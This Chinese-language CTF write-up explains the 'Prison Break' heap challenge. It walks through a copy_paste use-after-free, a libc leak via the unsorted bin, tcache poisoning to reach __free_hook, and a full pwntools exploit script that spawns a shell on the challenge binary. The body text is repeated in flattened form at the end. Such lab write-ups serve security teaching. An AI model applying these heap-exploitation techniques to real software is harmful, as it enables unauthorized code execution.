University CTF 2024 pwn- Prison Break
字数 1594 2025-08-29 08:30:24

University CTF 2024 pwn - Prison Break 详细教学文档

题目概述

这是一个考察堆利用技术的CTF题目,主要涉及对tcachebin链表的理解和利用,以及如何结合题目功能函数实现内存泄露和劫持控制流。

逆向分析

数据结构

题目使用了一个结构体:

struct stru {
    int isUsed;     // 标识是否使用
    char *ptr;      // 可控大小的内存指针
    size_t size;    // 分配的大小
};

功能函数分析

  1. create函数:

    • 申请一个stru结构体
    • 根据用户指定大小分配内存
    • 设置isUsed标志为1
  2. delete函数:

    • 不释放stru结构体本身
    • 只释放结构体中的ptr指针指向的内存
    • 不清理isUsed标志
  3. view函数:

    • 只打印isUsed为1的结构体中ptr指向的数据
  4. copy_paste函数:

    • 复制一个结构体指针的内容到另一个结构体指针
    • 只需要其中一个结构体可用(isUsed=1)即可执行复制
    • 这是漏洞的关键点

漏洞分析

copy_paste函数的实现存在问题:

  • 只需要源或目标结构体中有一个是isUsed=1即可执行复制
  • 这意味着可以:
    • 将已释放的chunk的内容复制到正常chunk中(泄露内存)
    • 通过复制操作控制tcache链表

利用思路

阶段一:泄露libc地址

  1. 申请多个0x80大小的chunk(例如9个:chunk0-chunk8)
  2. 释放其中的8个(chunk1-chunk8)
    • 前7个会进入tcache bin
    • 第8个(chunk8)会进入unsorted bin(因为tcache bin默认最多缓存7个)
  3. 此时内存布局:
    • tcache bin: chunk7 -> chunk6 -> ... -> chunk1
    • unsorted bin: chunk8
  4. 使用copy_paste将chunk8(已释放)的内容复制到chunk0(未释放)
    • 由于chunk8在unsorted bin中,其fd/bk指针指向main_arena
    • 这样可以通过view查看chunk0的内容泄露libc地址

阶段二:劫持__free_hook

  1. 申请一个0x70大小的chunk(非0x80,避免干扰)
  2. 在这个chunk中写入__free_hook的地址
  3. 将这个地址复制到chunk7(tcache链表的末尾)中
    • 这会修改tcache链表,使得下一次分配会返回__free_hook地址
  4. 现在tcache链表变为:__free_hook -> chunk6 -> ... -> chunk1

阶段三:获取shell

  1. 申请一个chunk,由于tcache链表被篡改,将获得__free_hook地址处的内存
  2. 在这个chunk中写入system函数的地址
  3. 释放一个包含"/bin/sh"字符串的chunk,触发__free_hook执行system("/bin/sh")

预期解EXP

from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug'

libc = ELF('./libc.so.6')
elf = ELF('./pwn')

p = process('./pwn')

def create(index, size, content):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'index: ', str(index).encode())
    p.sendlineafter(b'size: ', str(size).encode())
    p.sendafter(b'content: ', content)

def delete(index):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'index: ', str(index).encode())

def view(index):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'index: ', str(index).encode())
    return p.recvline()

def copy_paste(src, dst):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'src: ', str(src).encode())
    p.sendlineafter(b'dst: ', str(dst).encode())

# 泄露libc地址
for i in range(9):
    create(i, 0x80, b'a'*0x80)

for i in range(1, 9):
    delete(i)

# chunk8进入unsorted bin,复制到chunk0
copy_paste(8, 0)
leak = u64(view(0)[:8])
libc_base = leak - 0x3ebca0
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(f'libc base: {hex(libc_base)}')

# 劫持tcache
create(9, 0x70, p64(__free_hook))
copy_paste(9, 7)

# 获取__free_hook并写入system
create(10, 0x80, b'/bin/sh\x00')
create(11, 0x80, p64(system))

# 触发system("/bin/sh")
delete(10)

p.interactive()

非预期解

作者最初尝试的另一种利用方式:

  1. 通过篡改某个结构的ptr指针,使其指向__free_hook
  2. 然后通过copy操作向__free_hook写入system地址
  3. 虽然也能达到目的,但相比预期解更为复杂

关键点总结

  1. copy_paste函数的漏洞:只需要一个结构体可用即可复制,允许操作已释放的内存
  2. tcache bin的限制:默认只缓存7个相同大小的chunk,第8个会进入unsorted bin
  3. 泄露libc:通过unsorted bin的fd/bk指针泄露main_arena地址
  4. 链表劫持:通过复制操作修改tcache链表,控制分配地址
  5. __free_hook利用:经典的hook劫持技术获取shell

学习要点

  1. 理解tcache bin和unsorted bin的行为差异
  2. 掌握如何通过UAF泄露libc地址
  3. 学习如何通过修改tcache链表控制分配
  4. 理解__free_hook的利用方式
  5. 体会预期解和非预期解的不同思路
University CTF 2024 pwn - Prison Break 详细教学文档 题目概述 这是一个考察堆利用技术的CTF题目,主要涉及对tcachebin链表的理解和利用,以及如何结合题目功能函数实现内存泄露和劫持控制流。 逆向分析 数据结构 题目使用了一个结构体: 功能函数分析 create函数 : 申请一个stru结构体 根据用户指定大小分配内存 设置isUsed标志为1 delete函数 : 不释放stru结构体本身 只释放结构体中的ptr指针指向的内存 不清理isUsed标志 view函数 : 只打印isUsed为1的结构体中ptr指向的数据 copy_ paste函数 : 复制一个结构体指针的内容到另一个结构体指针 只需要其中一个结构体可用(isUsed=1)即可执行复制 这是漏洞的关键点 漏洞分析 copy_ paste函数的实现存在问题: 只需要源或目标结构体中有一个是isUsed=1即可执行复制 这意味着可以: 将已释放的chunk的内容复制到正常chunk中(泄露内存) 通过复制操作控制tcache链表 利用思路 阶段一:泄露libc地址 申请多个0x80大小的chunk(例如9个:chunk0-chunk8) 释放其中的8个(chunk1-chunk8) 前7个会进入tcache bin 第8个(chunk8)会进入unsorted bin(因为tcache bin默认最多缓存7个) 此时内存布局: tcache bin: chunk7 -> chunk6 -> ... -> chunk1 unsorted bin: chunk8 使用copy_ paste将chunk8(已释放)的内容复制到chunk0(未释放) 由于chunk8在unsorted bin中,其fd/bk指针指向main_ arena 这样可以通过view查看chunk0的内容泄露libc地址 阶段二:劫持__ free_ hook 申请一个0x70大小的chunk(非0x80,避免干扰) 在这个chunk中写入__ free_ hook的地址 将这个地址复制到chunk7(tcache链表的末尾)中 这会修改tcache链表,使得下一次分配会返回__ free_ hook地址 现在tcache链表变为:__ free_ hook -> chunk6 -> ... -> chunk1 阶段三:获取shell 申请一个chunk,由于tcache链表被篡改,将获得__ free_ hook地址处的内存 在这个chunk中写入system函数的地址 释放一个包含"/bin/sh"字符串的chunk,触发__ free_ hook执行system("/bin/sh") 预期解EXP 非预期解 作者最初尝试的另一种利用方式: 通过篡改某个结构的ptr指针,使其指向__ free_ hook 然后通过copy操作向__ free_ hook写入system地址 虽然也能达到目的,但相比预期解更为复杂 关键点总结 copy_ paste函数的漏洞 :只需要一个结构体可用即可复制,允许操作已释放的内存 tcache bin的限制 :默认只缓存7个相同大小的chunk,第8个会进入unsorted bin 泄露libc :通过unsorted bin的fd/bk指针泄露main_ arena地址 链表劫持 :通过复制操作修改tcache链表,控制分配地址 __ free_ hook利用 :经典的hook劫持技术获取shell 学习要点 理解tcache bin和unsorted bin的行为差异 掌握如何通过UAF泄露libc地址 学习如何通过修改tcache链表控制分配 理解__ free_ hook的利用方式 体会预期解和非预期解的不同思路